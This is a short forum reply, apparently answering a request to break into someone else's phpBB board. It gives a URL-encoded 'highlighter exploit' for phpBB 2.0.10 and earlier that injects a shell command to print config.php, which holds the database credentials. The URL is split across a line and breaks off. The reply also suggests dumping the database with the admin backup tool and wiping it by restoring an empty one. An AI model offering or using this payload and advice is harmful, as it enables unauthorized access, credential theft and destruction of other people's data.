No sorry you can't. You would have to have his web host login and paswword or admin privledges on the server. If the board is 2.0.10 or under you can try use the highlighter exploit: http://www.site.com/phpbb2/viewtopic.php?t=33&rush=%65%63%68%6F%20%5F%53%54%
41%52%54%5F%3B%20tail%20config.php%3B%20%65%63%68%6F%

Or if you are looking at getting the database just use the admin panel backup tool. Also if you wish to modify the database you could use the restore tool and upload an empty database.
